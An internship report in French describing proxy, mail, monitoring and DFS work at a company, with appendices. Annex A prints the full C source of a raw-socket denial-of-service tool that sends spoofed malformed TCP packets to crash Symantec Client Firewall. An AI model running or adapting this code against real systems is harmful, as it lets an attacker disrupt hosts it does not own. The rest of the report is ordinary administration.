branchant en permanence un clavier), le deuxième est vraisemblablement logiciel, donc investigable.
14
Le système de gestion de bugs de Debian a donc été mis à l’épreuve, obtenant le numéro de
bug #249000 (http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=249000). Un développeur du noyau
Linux, Herbert Xu, a répondu dans la journée, et m’a permis de trouver la cause du problème: le déchargement du module AGP était incomplet. Ce module étant inutile, j’en ai désactivé le chargement
en désinstallant le détecteur matériel "discover".
3.2.2.5. Mise en production
La machine a été placée dans le bureau (l’armoire serveur étant pleine). Le paramétrage des clients
a été effectué par Active Directory, tous les utilisateurs locaux étant déjà situés dans un groupe adéquat. Pour une meilleure flexibilité, un script d’auto-configuration a été écrit, et placé sur un serveur
Apache sur cette machine. La Figure 3-3 présente la dernière version utilisée. Il s’agit d’un fichier en
Javascript, qui paramètre la classe destination 10.0.0.0/8 en dehors de la connexion par proxy.
Figure 3-3. Script d’auto-configuration de proxy
function FindProxyForURL(url, host)
{
if (isInNet(host, "10.0.0.0", "255.0.0.0")
|| isInNet(host, "127.0.0.0", "255.0.0.0"))
return "DIRECT";
else
return "PROXY 10.1.1.21:3128";
}
Afin de faciliter la configuration, l’interface "webmin" et son module "webmin-squid" ont été
installés. Elle est accessible à l’adresse https://10.1.1.21:10000/, et illustrée en Figure 3-4.
Figure 3-4. Configuration de Squid par Webmin
15
Une liste d’interfaces de synthèse de l’activité de Squid est disponible sur le site de Squid
(http://www.squid-cache.org/Scripts/). Ont été essayées notamment SARG, squeezer2, calamaris et
squidview. Si elles présentent chacune leurs avantages et inconvénients, on retiendra que squidview a
une visibilité en temps réel mais nécessite une console texte, tandis que SARG et squeezer2 sont les
plus complètes. squeezer2 étant absent de Debian bien qu’intéressant, un paquet Debian en a été
réalisé, référencé et placé sur Internet (ftp://ftp.defora.org/debian).
De tous c’est SARG qui a le plus retenu mon attention. Il propose intuitivement un aperçu complet:
•
activité de chaque utilisateur,
•
liste des sites visités,
•
sites les plus consommateurs,
•
performances du cache.
Ce système génère une série de pages HTML, dont on peut régler la rotation comme pour des fichiers
de journaux. Sa consultation a été rendue accessible par un serveur Apache, installé sur le proxy, et
limitée aux administrateurs (sous-dossier de la page "Administration").
3.2.3. Service de messagerie
3.2.3.1. Installation de Lotus Domino Server pour Linux
Les utilisateurs pourraient vouloir accéder à leurs messages, même depuis l’extérieur de
l’entreprise. Ceci n’est possible que par le VPN, et l’accès en est limité aux postes des utilisateurs
nomades. Ainsi l’étude de la mise à disposition d’une passerelle web aux messages, ou webmail,
m’a été confiée.
Afin de ne pas plus charger les serveurs déjà en place, une nouvelle machine a été dédiée à cette
tâche. Autant pour l’intégration au système existant, et la centralisation de l’administration par la
console Domino, l’installation d’un serveur Domino supplémentaire s’est imposée. La version 6.5.3
étant justement disponible sous Linux, son installation a été effectuée sous Debian, sur une machine
neuve (Pentium 4 2.8Ghz, 512MB RAM).
Ici également une procédure d’installation et de configuration a été rédigée, elle est incluse
en Annexe B. La documentation fournie traite d’une installation sur serveurs IBM zSeries
(http://www.lotus.com/products/product4.nsf/wdocs/dominolibrary). L’installation sur Debian a
présenté quelques spécificités, notamment l’installation d’un paquet de compatibilité binaire absent
de la Sarge (libstdc++2.9-glibc2.1), et le dysfonctionnement de l’interface de pré-configuration
graphique (en Java) avec kernel 2.6.
16
Mis à part par l’ajout d’un script au démarrage du système, afin de lancer le serveur, sa maintenance a été impossible sans utiliser une interface Domino. L’administration serait possible par une
console Java, mais je n’en ai pas trouvé l’accès. Cependant une interface web est aussi proposée
(http://srvcovfr5/webadmin.nsf).
Il est également important de mentionner que la seule jonction du serveur 6 au domaine 5 existant,
avant même d’y avoir placé de répliques de bases, a provoqué la conversion immédiate des bases
mail du format 5 au 6. Heureusement les clients encore en version 5 y accèdent apparemment sans
problème.
3.2.3.2. Le webmail
Lotus Domino propose lui-même un accès web aux bases mail. Il reproduit sommairement
l’interface graphique de Lotus Notes. L’ergonomie en est encore réduite par le mélange de HTML
et Java, ce qui demande 2 à 3 fois de suite le mot de passe à l’utilisateur. Cette solution, déjà
inacceptable, est encore corsée par l’adresse d’accès, peu intuitive: "http://<server>/Mail/<ID
Notes>.nsf", soit par exemple "http://www.coventya.com/Mail/ppronche.nsf". La rédaction d’une
page intermédiaire est envisageable mais ne peut résoudre l’ensemble du problème.
Mais Domino gère énormément de services, dont IMAP, surtout depuis la version 6. Protocole
d’accès à distance de messages, il gère les dossiers, et garde les messages sur le serveur: il est donc
plus adapté ici que l’autre protocole répandu, POP3. Mais surtout, IMAP est un standard, donc interfaçable avec une panoplie d’applications webmail existantes.
La possibilité de mise en production de ce service n’ayant finalement pas été décidée, une seule
application webmail a été testée. Il s’agit de squirrelmail (http://www.squirrelmail.org/), installée sur
un serveur Apache, cohabitant avec Domino sur la machine. Il a été intégré sans problème apparent
au service IMAP de Domino, et même interfacé avec l’accès LDAP au carnet d’adresses.
La mise en production de ce service nécessiterait encore:
•
la réplication des boites utilisateurs concernées sur le serveur Domino;
•
la redirection du port HTTPS d’une IP publique sur le serveur Apache;
•
la création et le référencement d’un certificat SSL;
•
éventuellement, la définition d’une politique de renouvellement de ce certificat.
17
3.3. Monitoring
3.3.1. Santé du réseau local: NTop
3.3.1.1. Placement de la sonde
La première mission de monitoring était de donner une indication de la santé du réseau local,
incluant l’usage du lien vers Internet. Pour ceci il fallait donc disposer d’un outil ayant accès à un
maximum d’informations sur le trafic du réseau local.
L’idéal serait d’interroger, par exemple, un ensemble de "sondes" sur chaque connecteur réseau, et
de les relier en distillant l’information nécessaire. Cette technique était cependant disproportionnée,
car on ne disposait que d’un matériel similaire au proxy HTTP déployé, et surtout car le schéma du
réseau en place (voir Figure 1-1) permettait de reporter l’analyse en un seul point: le switch central.
En effet, un seul switch interconnectait tous les liens disponibles, à l’exception des postes clients
reliés entre eux sur un même switch. L’information liée à ces connexions était négligeable, car ces
liaisons étaient les moins sujettes à saturation. L’indicateur privilégié en étant le retour des utilisateurs,
clairement le besoin était ailleurs.
Si le rôle d’un switch est justement de répartir intelligemment le trafic, empêchant ainsi toute
analyse globale sans distribution de l’information, ici le matériel à disposition disposait d’une fonctionnalité particulièrement intéressante.
Fonctionnalité très à propos, car le couple de switchs 3Com en place permettait de placer un port
en "roving analysis", c’est à dire que tout le trafic passant par le switch y est dupliqué. La mise en place
allait donc pouvoir se résumer au placement d’une sonde d’analyse sur ce port, avec une deuxième
interface réseau, permettant de l’interroger à distance. Sans cela, on aurait par exemple dû équiper un
ou plusieurs postes de bien plus d’interfaces réseau, dupliquant le trafic de liens en les plaçant comme
passerelles, ou encore en les reliant avec un hub à chaque lien névralgique constaté.
3.3.1.2. Solution logicielle
Il restait encore à décider de l’outil logiciel à déployer. Là une consultation des outils disponibles
m’a révélé un logiciel tout à fait adapté, NTop. NTop est un analyseur de trafic réseau. Il gère plusieurs
types de réseau, tant au niveau du média utilisé (ethernet, token ring, ...), que des protocoles réseau (IP,
IPX, ...), ce jusqu’au niveau applicatif (HTTP, Netbios, ...). Son principal but est d’illustrer l’utilisation
d’un réseau, par des statistiques et des graphes. Il est consultable notamment par un navigateur web,
comportant son propre serveur HTTP, mais dispose également d’une interface texte.
NTop étant fourni par Debian, son installation a été facilitée. Elle a été complétée par un paramètre à son exécution, soit l’indication du réseau IP considéré comme "local" (10.1.0.0/20), qui affine
l’analyse. Une fois un mot de passe entré, l’information est présentée comme suit:
•
accueil, et pages d’information générales;
18
•
résumé, avec d’une part l’activité cumulée, et d’autre part un quasi instantané de l’activité en cours;
•
détail de l’activité de niveau lien et réseau;
•
détail de l’activité de niveau transport;
•
administration du service.
Le résumé de l’activité réseau donne une bonne impression de la charge globale sur le switch. La
répartition de niveau transport permet de pousser le diagnostic par application, ce qui nous intéresse le
plus ici. Enfin, le panneau d’administration permet principalement la spécification d’un mot de passe,
et l’arrêt du service.
3.3.1.3. Découverte de trafic inutile
Le réseau en place étant paramétré exclusivement sur IP, la moindre trame étrangère s’est immédiatement révélée. Justement, un certain nombre d’imprimantes communiquaient leur présence en
Appletalk et IPX notamment, et j’ai pu en affiner la configuration par leurs interfaces web respectives.
Cependant un périphérique inconnu a également retenu mon attention. Il générait du trafic IPX,
j’ai donc obtenu son adresse MAC par NTop, et pu voir qu’il était branché au switch principal par
le réseau de Chemetall. NTop m’a alors renseigné une IP à laquelle il a répondu. Grâce à nmap, un
scanneur de ports avec découverte de système d’exploitation, j’ai pu déterminer qu’il s’agissait d’un
hub IBM. Inutilement placé sur le lien (2 ports utilisés), j’ai pu le retirer de la baie.
3.3.1.4. Charge du réseau
Elle n’atteignait en fait en moyenne que 300 à 500 kbits/s, et n’a que rarement dépassé 2 Mbits/s.
Les pointes correspondaient au trafic descendant maximal toléré sur le lien internet. Point névralgique
du réseau en place, son utilisation ne saturait donc pas. De plus, elle était principalement constituée
de trafic mail (80%), dont l’arrivée ne peut être contrôlée (spam, virus, ...). Les autres protocoles sont
répartis équitablement entre DNS, HTTP, FTP, Lotus et Netbios.
3.3.2. Métrologie globale: Cacti
Le besoin de suivi du réseau s’étendant également à l’ensemble de l’infrastructure en place, avec
notamment le besoin d’indicateurs de temps de réponse, il a fallu réfléchir à la mise en place d’un
outil d’analyse distinct.
Le temps de réponse d’un lien s’obtient typiquement en envoyant un paquet à la destination voulue, et d’en obtenir un retour. On peut par exemple utiliser un paquet "ECHO" ICMP, plus communément appelé "ping". Il faut donc un outil capable de générer ces paquets, les comptabiliser et en
retranscrire le résultat.
19
Là aussi, un logiciel a particulièrement retenu mon attention: Cacti. Il s’agit justement d’un logiciel de métrologie, utilisant une base de données SQL pour entretenir son paramétrage (MySQL), et
une base de données statistique pour garder l’information (RRD). Il est paramétrable et consultable
par une interface web.
3.3.2.1. Paramétrage et extension
J’ai d’abord testé Cacti sur mon propre poste de travail. Ce choix ayant reçu l’approbation de M.
Brisy, je l’ai déployé sur la machine hébergeant également le proxy. Il a d’abord simplement retracé
le temps de réponse du site vers les sites distants. Ceci permettait déjà d’illustrer les interruptions de
service de chaque site, et les conditions d’utilisation. La plupart des liens oscillent autour de 300 ms de
temps de réponse, mais certains montaient régulièrement à 1000 ms (Gutersloh). Dans ces conditions,
des logiciels comme PC Anywhere souffrent un peu, mais globalement les services utilisés ne sont
que peu affectés (Domino, Active Directory et DFS se répliquant de façon asynchrone).
Mais Cacti ne se limite pas à ICMP, il s’agit également d’une interface SNMP complète (SNMP
est un protocole d’interrogation de périphériques par réseau). Le matériel déployé gérant déjà ce
protocole, une présentation de l’information a pu être directement mise en place, afin d’obtenir:
•
le trafic lié à chaque port de tous les switchs et routeurs;
•
les ressources processeur des routeurs Cisco;
•
le trafic lié à chaque interface réseau des serveurs;
•
les ressources processeur et mémoire des serveurs;
•
l’espace disque restant des serveurs;
•
le nombre d’utilisateur connecté à chaque serveur;
•
et même le niveau de remplissage des bacs d’encre de certaines imprimantes.
Au final presque 200 points sont interrogés toutes les 5 minutes par Cacti. Il en génère à la demande
des graphes, sur les dernières 24 heures, la semaine, le mois ou l’année. L’information est facilement
lisible, et permet de la resituer à environ 15 minutes près sur les dernières 24 heures. Pour des raisons
de performances et stockage, Cacti ne garde pas le détail des informations reccueillies. Il ne s’agit ici
que d’indicateurs sur la durée.
Une solution de monitoring actif a également été testée, Nagios (http://www.nagios.org/). Elle n’a
pas été retenue, car beaucoup plus complexe à mettre en oeuvre.
3.3.3. Système de fichiers distribué: DFS
3.3.3.1. Introduction à DFS
DFS, pour Distributed File System, est un système de fichiers distribués, développé par Microsoft.
Il permet de répliquer sur différents serveurs une hiérarchie de partages de fichiers. La réplication en
est asynchrone, et effectuée selon la planification de l’administrateur. Si la première version, disponible sous NT 4, était limitée à une hiérarchie par serveur de domaine, Windows 2000 et versions
ultérieures disposent de DFS sans ce défaut.
20
DFS utilise en fait le système de réplication d’Active Directory, FRS. Une hiérarchie DFS était
déjà configurée avant mon arrivée à Coventya. Implantée initialement en urgence, son fonctionnement
était erratique. M. Brisy m’en a donc confié la maintenance.
3.3.3.2. Documentation et outils en place
L’interface de mise en place de DFS est accessible par le panneau de configuration de Windows,
dans la section dédiée à l’administrateur. Elle permet la création, modification et suppression des
hiérarchies de partage. La seule option de diagnostic disponible se contente d’afficher un drapeau en
face de la représentation des partages, qui demeurait systématiquement positif.
Heureusement une documentation assez importante est fournie par Microsoft, dans sa base
de connaissances en ligne (http://support.microsoft.com/). Elle m’a permis de trier les messages
d’erreurs présents dans les journaux d’événements des serveurs. Cependant, les codes d’erreurs
étaient systématiquement des valeurs entières, absentes des documentations.
3.3.3.3. Extension des outils de diagnostic
Microsoft ayant connaissance de ces problèmes, ils ont fourni des révisions de Windows améliorant le support de DFS, et développé trois outils d’analyse: Sonar, Ultrasound et FRSDiag. Après la
mise à jour de l’intégralité des serveurs, et l’installation du support .Net, j’ai pu les mettre à l’épreuve.
Sonar interroge l’ensemble des serveurs d’une hiérarchie, rapportant une série de valeurs représentant l’état de chaque système; on y obtient en fait le nombre de fichiers en erreur. Ultrasound est
beaucoup plus détaillé, et il est fourni avec l’intégralité de la documention liée au DFS. FRSDiag
est en fait une facilité d’accès aux journaux d’événements et de débogage de la réplication d’Active
Directory, et en fournit un niveau d’analyse limité.
Une panoplie de tentatives de résoudre les problèmes de réplication a été tentée, dont
l’augmentation des planifications, le renommage de répertoires, et la suppression des répertoires
parasites créés par le système. Le dernier recours proposé était de réinitialiser la hiérarchie, par
partage ou globalement. Les partages fautifs atteignant parfois 4GB, à répliquer sur des liens RNIS à
128kbps, M. Brisy et moi-même avons hésité à la tenter.
3.3.3.4. Résolution du problème
Après un essai sur un partage moins important, une réplication partielle a tout de même été tentée.
Le système a vérifié l’ensemble des fichiers partagés, et les a comparés de part et d’autre par la
génération d’un hash. L’opération a coûté une nuit de calcul processeur et d’échanges réseau, mais
résolu la plupart des conflits.
Les derniers conflits restants étant signalés sans information supplémentaire, et une réorganisation
de la hiérarchie en place étant prévue, il a été finalement décidé de créer une nouvelle hiérarchie
DFS. Les erreurs restantes seraient dues a des manipulations effectuées à la création de la hiérarchie
actuelle, et alors silencieusement non supportées.
21
Conclusion
La mission principale du stage, soit la mise en place du proxy HTTP et du monitoring, a été
accomplie. Dans le cas de la configuration du proxy, ce dernier rend la navigation sur Internet plus
agréable, mais n’économise pas tellement la bande passante liée (3%). Cependant, un premier blocage
de site publicitaire a été tenté à la toute fin du stage, et devrait alléger notablement et durablement la
charge du lien Internet.
La sonde NTop placée en salle serveur permet justement une analyse rapide et lisible du lien Internet, et du trafic critique du réseau local. La métrologie Cacti la complète avantageusement dans la
durée, donnant des indicateurs de santé de la quasi-totalité des infrastructures informatiques. Que ce
soit pour contrôler la performance des serveurs, la charge des liens, ou les ressources de stockage disponibles, il permet de contrôler l’usage du système d’information, et d’en anticiper les maintenances
à venir. Je pense que mes collègues sauront y trouver une aide appréciable.
En ce qui concerne les missions effectuées en parallèle, et l’implication au sein du service informatique, je pense également avoir apporté de la sérénité à l’entreprise. Aux technico-commerciaux,
représentant Coventya lors de déplacements, ou directement à mes collègues, j’espère avoir fait gagner un temps précieux, ce qui se ressent pour l’entreprise.
Les outils que j’ai déployés pour la réalisation de ma mission sont réputés pour leur stabilité, et ne
devraient pas nécessiter de maintenance. Leur utilisation n’est pas triviale, mais j’espère que l’ultime
séance de transfert de compétences en permettra une présence pérenne et utile pour Coventya.
Les réalisations effectuées au cours de ce stage ne m’ont pas présenté de difficulté technique
particulière. J’ai néanmoins pu élargir ma culture en administration système, en approfondissant mes
connaissances d’Active Directory ou encore Domino. J’ai eu la chance d’utiliser un certain nombre
d’autres applications propriétaires, difficiles d’accès pour un étudiant (PC Anywhere, Symantec Client
Security). J’ai pu m’initier à la gestion du matériel Cisco, 3Com, Watchguard et Cobalt.
J’ai surtout eu une vision du métier d’administrateur système en PME, et pu participer pour la
première fois à la vie d’une entreprise de cette taille. J’ai également découvert la gestion du temps de
travail par pointage, politique en place à Coventya pour les salariés non cadres.
A l’issue de cette période de stage, je pense que je ne vais pas retenter cette expérience. Beaucoup d’éléments extérieurs à l’administration système proprement dite font partie du quotidien, les
utilisateurs ayant souvent recours aux informaticiens pour des questions de bureautique. De plus, la
charge de travail était très souvent due à des bogues de logiciels propriétaires, ce qui est frustrant en
comparaison de la culture des logiciels libres.
Enfin, cette première année de formation à l’INSIA ne m’a pas complètement satisfait. Les cours
de réseau et d’administration de systèmes Windows ont mis l’accent sur l’installation d’un système
Active Directory de base, sans aborder des aspects à mon sens plus importants lors d’une arrivée
en entreprise. Je pense notamment à l’analyse d’une configuration à mettre en place ou prendre en
main (par des illustrations théoriques à l’echelle, des études de cas), aux implications concrètes des
solutions disponibles (en termes de maintenance, disponibilité et scalabilité), ou même aux aspects
xxii
Conclusion
techniques sous-jacents (description des protocoles utilisés, compréhension de leur conception).
Cependant, la piscine (shell, regexps, C), et les modules de scripting et d’administration système
(peut-être avec trop d’autonomie) ont renforcé mes compétences dans ces domaines. Globalement, la
formation de l’INSIA m’a aidé à répondre aux besoins de mon entreprise.
xxiii
Annexe A. Déni de service Symantec Client
Firewall
/* Symantec Multiple Firewall TCP Options Denial of Service
* http://www.securityfocus.com/archive/1/361283 */
#define _USE_BSD
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#include <netdb.h>
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define sys_fatal(msg) { fprintf(stderr, "%s", "scf_dos: "); perror(msg); exit(2); }
#define sysh_fatal(msg) { fprintf(stderr, "%s", "scf_dos: "); herror(msg); exit(2); }
static unsigned short _checksum(unsigned short * buf, int len)
{
uint32_t sum;
for(sum = 0; len > 1; len-=2)
sum += *buf++;
if(len == 1)
sum += *(unsigned char*)buf;
sum = (sum >> 16) + (sum & 0xffff);
return 0xffff - sum + (sum >> 16);
}
static unsigned short _checksum_tcp(struct ip * ip)
{
struct tcp {
uint32_t s_addr;
uint32_t d_addr;
uint8_t zero;
uint8_t ptcl;
uint16_t len;
struct tcphdr tcph;
uint32_t tcpo;
} ptcph;
ptcph.tcph = *(struct tcphdr*)((char*)ip + sizeof(struct ip));
ptcph.s_addr = ip->ip_src.s_addr;
ptcph.d_addr = ip->ip_dst.s_addr;
ptcph.zero = 0;
ptcph.ptcl = IPPROTO_TCP;
ptcph.len = htons(sizeof(struct tcphdr) + 4);
ptcph.tcpo = 0x000005;
return _checksum((uint16_t*)&ptcph, sizeof(ptcph));
24
Annexe A. Déni de service Symantec Client Firewall
}
static int _scf_dos(in_addr_t srcip, in_addr_t dstip, uint16_t dstport)
{
int s;
char datagram[4096];
struct ip * iph = (struct ip *)datagram;
struct tcphdr * tcph = (struct tcphdr *)(datagram + sizeof(struct ip));
uint32_t * tcpo = (uint32_t*)(datagram + sizeof(struct ip)
+ sizeof(struct tcphdr));
struct sockaddr_in sin;
int n;
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
sys_fatal("socket");
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = dstport;
sin.sin_addr.s_addr = dstip;
memset(datagram, 0, sizeof(datagram));
iph->ip_v = 4;
iph->ip_hl = 5;
iph->ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr) + 4);
iph->ip_id = rand();
iph->ip_ttl = 128;
iph->ip_p = IPPROTO_TCP;
iph->ip_src.s_addr = srcip;
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
for(tcph->th_sport = 0; tcph->th_sport == 0; tcph->th_sport = rand());
tcph->th_dport = htons(dstport);
tcph->th_seq = rand();
tcph->th_off = 6;
tcph->th_flags = TH_SYN;
for(tcph->th_win = 0; tcph->th_win == 0; tcph->th_win = rand());
*tcpo = 0x000005;
iph->ip_sum = _checksum((uint16_t*)iph, sizeof(struct ip));
tcph->th_sum = _checksum_tcp(iph);
n = 1;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &n, sizeof(int*)) == -1)
{
perror("setsockopt");
return 2;
}
if(sendto(s, datagram, ntohs(iph->ip_len), 0, (struct sockaddr*)&sin,
sizeof(sin)) == -1)
perror("sendto");
fprintf(stderr, "%s%hhu.%hhu.%hhu.%hhu:%u -> %hhu.%hhu.%hhu.%hhu:%u\n",
"1 packet successfully sent: ",
iph->ip_src.s_addr, iph->ip_src.s_addr >> 8,
iph->ip_src.s_addr >> 16, iph->ip_src.s_addr >> 24,
ntohs(tcph->th_sport),
iph->ip_dst.s_addr, iph->ip_dst.s_addr >> 8,
iph->ip_dst.s_addr >> 16, iph->ip_dst.s_addr >> 24,
ntohs(tcph->th_dport));
close(s);
return 0;
}
25
Annexe A. Déni de service Symantec Client Firewall
static int _usage(void)
{
fprintf(stderr, "%s",
"Usage: scf_dos [-s <source ip>] <target ip> <target port>\n"
" -s\tsource address to use (default: random)\n\n"
"Note that the target port has to be opened.\n");
return 1;
}
int main(int argc, char * argv[])
{
int o;
struct in_addr srcip;
int dstport;
char * p;
struct hostent * he;
srand(time(NULL) + getpid());
for(srcip.s_addr = 0; srcip.s_addr == 0; srcip.s_addr = rand());
while((o = getopt(argc, argv, "s:")) != -1)
{
switch(o)
{
case ’s’:
if(inet_aton(optarg, &srcip) == 0)
return _usage();
break;
case ’?’:
return _usage();
}
}
if(argc - optind != 2)
return _usage();
dstport = strtol(argv[optind+1], &p, 10);
if(*argv[optind+1] == ’\0’ || *p != ’\0’
|| dstport < 0 || dstport > 65535)
return _usage();
if((he = gethostbyname(argv[optind])) == NULL)
sysh_fatal("gethostbyname");
return _scf_dos(srcip.s_addr, *(in_addr_t*)(he->h_addr), dstport);
}
26
Annexe B. Installation et configuration de
Domino
Attention
L’installation de Domino a été réalisée sous Debian, cependant en cas de
spécificités liées à cette distribution, la manipulation "universelle" correspondante est précisée si possible.
Remarques importantes. l’interface de configuration graphique n’a pas fonctionné sous Linux 2.6
(threads?)
Création des utilisateurs. Avant de lancer l’installation, il faut créer un utilisateur "notes" (ainsi
que son groupe), utilisateur qui va lancer le serveur. Sous Debian il suffit d’exécuter la commande
suivante:
# adduser --system --group notes
Sinon les commandes suivantes devraient convenir (il faut déterminer un uid et un gid, suivant disponibilités dans /etc/group et /etc/passwd, une valeur égale entre uid et gid est possible et pratique, et
souvent entre 100 et 500 pour les comptes système):
# groupadd -g <gid> notes
# useradd -u <uid> -g <gid> -d /home/notes -s /bin/false notes
Lancement de l’installation depuis le CD-ROM. Monter le CD-ROM d’installation (ici appelé
"Linux: Global English Edition" pour RedHat AS 2.1 pour Intel Pentium). Il est considéré que le
point de montage est "/cdrom":
# mount /cdrom
Se placer dans le répertoire d’installation et lancer l’installeur:
# mount /cdrom
# cd /cdrom/linux
# ./install
Si l’erreur "Permission denied" apparait et que vous etes bien "root" (la commande "id" renvoie uid=0)
il est possible qu’il faille autoriser le système à exécuter des programmes depuis le CD-ROM:
# mount -o remount,exec /cdrom
# ./install
Installation. Après avoir accepté la license, il faut déterminer si l’on veut installer ou mettre à jour
des répertoires de travail existants. Dans le cas de l’installation d’un nouveau serveur, répondre "No".
Le type d’installation retenu est "Domino Entreprise Server". Il convient d’en installer tous les
fichiers template "Yes", et de désactiver la fonctionnalité d’ASP (pour Application Service Provider).
Le chemin d’installation est à choisir au cas par cas, et souvent sujet à de longues discussions
pour en déterminer le meilleur. Ce sera typiquement "/opt/lotus", "/usr/local" ou "/usr/local/lotus".
27
Annexe B. Installation et configuration de Domino
Ici "/usr/local/lotus" a été choisi, car l’installeur de la Debian ne laisse pas de place dans "/opt"
dans sa configuration automatique "multi-user", et l’installeur Domino suffixe toujours "/lotus" à son
chemin si nécessaire. Il ne devrait pas être nécessaire de créer le lien symbolique "/opt/lotus", qui a
pu être nécessaire dans de précédentes versions. Ici on ne veut pas faire tourner plus d’un serveur sur
l’installation en cours.
En ce qui concerne l’emplacement des fichiers de données, d’une manière générale on choisirait
"/var/lib/lotus" ou le répertoire de travail de l’utilisateur possédant le service. Ici la partition la plus
grosse est "/home", elle est donc utilisée ("/home/notes/data" par exemple). Comme indiqué au départ
de l’installation, on choisit donc l’utilisateur et groupe "notes".
Seul "Manual server setup" a été testé. L’installeur copie alors les fichiers comme spécifié.
Configuration du serveur. L’installeur recommande alors de procéder comme suit:
1. Se logger en tant que "notes"
2. Se rendre dans le répertoire de travail de Domino: "/home/notes/data" (ou l’ajouter à sa variable
d’environnement PATH)
3. Configurer le serveur en lancant la commande: "/usr/local/lotus/bin/server"
Dans le cas d’un utilisateur système, normalement il n’est pas possible de s’y connecter. Les commandes suivantes y dérogent:
#
#
$
$
usermod -s /bin/bash notes
su notes
cd ~/data
/usr/local/lotus/bin/server
Le programme de configuration est graphique. Si il n’y a pas de session graphique directement accessible, il est possible d’ouvrir localement sa session:
$ xhost +local:
$ DISPLAY=:0 /usr/local/lotus/bin/server
Il faut alors répondre aux questions d’intégration du serveur au réseau existant. Un fichier id a été
généré sur le serveur principal, et copié depuis un partage windows:
# mkdir -p /mnt/<server>/<share>
# mount -t smbfs -o username=<username> //<server>/<share> /mnt/<server>/<share>
Une fois la configuration achevée, lancer le serveur à l’aide de cette même commande (toujours en
tant que notes):
$ /usr/local/lotus/bin/server
Maintenance du serveur. Une fois le serveur lancé, il est administrable à distance, à partir de
Domino Administrator. Un problème subsiste: lancer le serveur au démarrage. Un script init a été
écrit, "/etc/init.d/notes", et placé pour exécution au démarrage:
# for i in 2 3 4 5; do ln -s ../init.d/notes /etc/rc$i.d/S40notes; done
Quant à relancer ou arrêter le serveur proprement, depuis la machine hôte, je n’ai pas trouvé d’autre
solution que de redémarrer la machine.
28

1.2. Contexte du stage

Transcription

Documents pareils

Lotus Notes, Initiation

Développeur Lotus Domino (H/F)

Formation Lotus Notes Développement Initiation

Consultant CRM

Les dominos - Université de Paix asbl

`!2E20AC-gdcceh!

Programme de formation Lotus Notes Initiation

Jeux de société

Consultant Senior Web et Groupware

Télécharger ce plan de cours au format PDF